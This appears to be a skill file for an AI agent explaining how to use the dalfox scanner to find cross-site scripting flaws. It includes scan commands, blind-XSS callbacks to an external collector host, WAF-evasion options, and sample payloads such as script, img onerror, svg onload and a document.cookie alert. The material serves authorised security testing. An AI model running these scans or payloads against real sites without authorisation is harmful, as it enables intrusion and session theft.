xss-poc

# xss-poc ## When to Use - User requests XSS testing or cross-site scripting detection - Testing reflected XSS on URL parameters or form inputs - Testing stored XSS with payload injection and trigger verification - Testing DOM-based XSS or JavaScript context injection - Setting up blind XSS with callback/webhook verification - Analyzing parameter reflection and injection contexts - Generating XSS proof of concept payloads - Bypassing WAF or filter mechanisms during XSS testing - Validating XSS findings from other scanners ## Quick Start ```bash # Basic reflected XSS scan dalfox url "https://target.com/search?q=test" # Blind XSS with callback dalfox url "https://target.com/contact?msg=test" -b https://your-callback.xss.ht # Stored XSS scan dalfox sxss "https://target.com/post" -d "comment=test" --trigger "https://target.com/view" ``` ## Scan Modes ### URL Mode - Single Target Scan single URL with parameters: ```bash # Basic scan dalfox url "https://target.com/page?param=value" # With specific parameters dalfox url "https://target.com/page" -p search -p query -p id ``` ### File Mode - Multiple URLs Scan URLs from file: ```bash # URLs file (one per line) dalfox file urls.txt # With custom payloads dalfox file urls.txt --custom-payload payloads.txt ``` ### Pipe Mode - Stdin Input Process URLs from pipeline: ```bash # From URL list cat urls.txt | dalfox pipe # From crawler katana -u https://target.com | dalfox pipe -b https://callback.xss.ht ``` ### SXSS Mode - Stored XSS Test stored XSS with trigger verification: ```bash # POST injection, GET verification dalfox sxss "https://target.com/submit" -d "field=value" --trigger "https://target.com/view" # POST injection, POST trigger dalfox sxss "https://target.com/api/post" -d "content=test" \ --trigger "https://target.com/api/read" --request-method POST ``` ### Payload Mode - Generate Payloads Generate XSS payloads without scanning: ```bash # Bulk payloads for stored XSS dalfox payload --make-bulk # Specific contexts dalfox payload --enum-html --enum-attr --enum-injs # With URL encoding dalfox payload --enum-common --encoder-url ``` ### Server Mode - REST API Run dalfox as REST API server: ```bash # Start server dalfox server --host 0.0.0.0 --port 8090 ``` ## Step-by-Step Process ### 1. Parameter Discovery and Analysis ```bash # Basic scan with all mining enabled (default) dalfox url "https://target.com/search?q=test" # DOM-based parameter mining dalfox url "https://target.com/page" --mining-dom # Dictionary-based mining with custom wordlist dalfox url "https://target.com/page" -W params.txt ``` ### 2. Reflection Analysis ```bash # Discovery only (no XSS scanning) dalfox url "https://target.com/search?q=test" --only-discovery # Skip to XSS scanning (known params) dalfox url "https://target.com/search?q=test" --skip-discovery -p q ``` ### 3. XSS Payload Testing ```bash # Full scan with remote payloads dalfox url "https://target.com/search?q=test" \ --remote-payloads portswigger,payloadbox # Custom payloads only dalfox url "https://target.com/search?q=test" \ --custom-payload xss-payloads.txt --only-custom-payload ``` ### 4. Verification and Validation ```bash # Deep DOM XSS verification dalfox url "https://target.com/page?q=test" --deep-domxss # Force headless verification dalfox url "https://target.com/page?q=test" --force-headless-verification ``` ### 5. Generate Report ```bash # JSON output dalfox url "https://target.com/search?q=test" --format json -o results.json # Full report dalfox url "https://target.com/search?q=test" --report --output-all -o report.txt ``` ## Examples ### Example 1: Basic Reflected XSS Detection **Scenario:** Test search parameter for XSS **Command:** ```bash dalfox url "https://target.com/search?q=test" --format json ``` **Output:** ```json { "type": "xss", "parameter": "q", "verified": true, "payload": "<script>alert(1)</script>", "poc": "https://target.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E", "context": "html_body" } ``` ### Example 2: Blind XSS Testing **Scenario:** Test contact form for blind XSS with callback **Command:** ```bash dalfox url "https://target.com/contact?name=test&message=test" \ -b https://your.xss.ht/callback \ --format json ``` **Output:** ``` [*] Using single target mode [*] Target URL: https://target.com/contact [*] Blind XSS callback: https://your.xss.ht/callback [*] Injecting blind XSS payloads... [*] Parameter analysis done ✓ [*] XSS Scanning with blind payloads... [*] Finish - check callback server for triggers ``` ### Example 3: Stored XSS Detection **Scenario:** Test comment submission and verify on view page **Command:** ```bash dalfox sxss "https://target.com/api/comment" \ -d "post_id=123&content=test" \ --trigger "https://target.com/post/123" \ --format json ``` **Output:** ```json { "type": "stored_xss", "injection_point": "https://target.com/api/comment", "trigger_url": "https://target.com/post/123", "parameter": "content", "payload": "<img src=x onerror=alert(1)>", "verified": true } ``` ### Example 4: DOM-Based XSS Deep Scan **Scenario:** Test for DOM XSS with headless verification **Command:** ```bash dalfox url "https://target.com/app?input=test" \ --deep-domxss \ --force-headless-verification \ --format json ``` **Output:** ```json { "type": "dom_xss", "parameter": "input", "sink": "innerHTML", "source": "location.search", "payload": "<img src=x onerror=alert(document.domain)>", "verified": true, "verification_method": "headless" } ``` ### Example 5: WAF Bypass Testing **Scenario:** Test XSS against WAF-protected target **Command:** ```bash dalfox url "https://waf-target.com/search?q=test" \ --waf-evasion \ --remote-payloads portswigger \ --custom-payload waf-bypass.txt \ --delay 1000 \ -w 1 ``` **Output:** ``` [*] WAF evasion mode enabled [*] Adjusting scan speed: worker=1, delay=1000ms [*] Loading remote payloads from PortSwigger... [*] Loading custom payloads: waf-bypass.txt [V] Triggered XSS with WAF bypass: <svg/onload=alert(1)> [POC] https://waf-target.com/search?q=%3Csvg/onload%3Dalert%281%29%3E ``` ### Example 6: Multiple Parameters Testing **Scenario:** Test specific parameters with authentication **Command:** ```bash dalfox url "https://target.com/profile" \ -p username -p bio -p website \ -H "Authorization: Bearer eyJ..." \ -C "session=abc123" \ --format json ``` **Output:** ```json { "vulnerabilities": [ { "parameter": "bio", "type": "xss", "verified": true }, { "parameter": "website", "type": "xss", "verified": true } ], "safe_parameters": ["username"] } ``` ### Example 7: Pipeline Integration **Scenario:** Chain with crawler for comprehensive testing **Command:** ```bash # Crawl and filter potential XSS endpoints katana -u https://target.com -d 3 -jc | \ grep "=" | \ qsreplace "FUZZ" | \ sort -u | \ dalfox pipe -b https://callback.xss.ht --silence ``` **Output:** ``` [V] https://target.com/search?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E [V] https://target.com/page?ref=%22%3E%3Csvg/onload%3Dalert%281%29%3E [G] https://target.com/api?data=%27%3Balert%281%29// ``` ### Example 8: Custom Alert Configuration **Scenario:** Use document.cookie in XSS verification **Command:** ```bash dalfox url "https://target.com/vuln?q=test" \ --custom-alert-value "document.cookie" \ --custom-alert-type str ``` **Output:** ``` [V] Triggered XSS: <script>alert("document.cookie")</script> [V] Triggered XSS: <img src=x onerror=alert('document.cookie')> ``` ### Example 9: POST Data Testing **Scenario:** Test login form with POST method **Command:** ```bash dalfox url "https://target.com/login" \ -X POST \ -d "username=admin&password=test&remember=1" \ -p username -p password \ --format json ``` **Output:** ```json { "method": "POST", "parameters_tested": ["username", "password"], "vulnerabilities": [ { "parameter": "username", "payload": "admin<script>alert(1)</script>", "verified": true } ] } ``` ### Example 10: Comprehensive Bug Bounty Scan **Scenario:** Full XSS assessment with all features **Command:** ```bash dalfox url "https://target.com/app?q=test" \ --mining-dom --deep-domxss \ --remote-payloads portswigger,payloadbox \ -b https://your.xss.ht \ --report --format json -o full-report.json ``` ## Error Handling | Error | Cause | Resolution | | ----------------------- | ------------------------ | ---------------------------------------- | | `Browser not installed` | Headless browser missing | Run `dalfox install` or install chromium | | `Connection refused` | Target unreachable | Verify URL, check network connectivity | | `403 Forbidden` | WAF blocking | Enable `--waf-evasion`, reduce speed |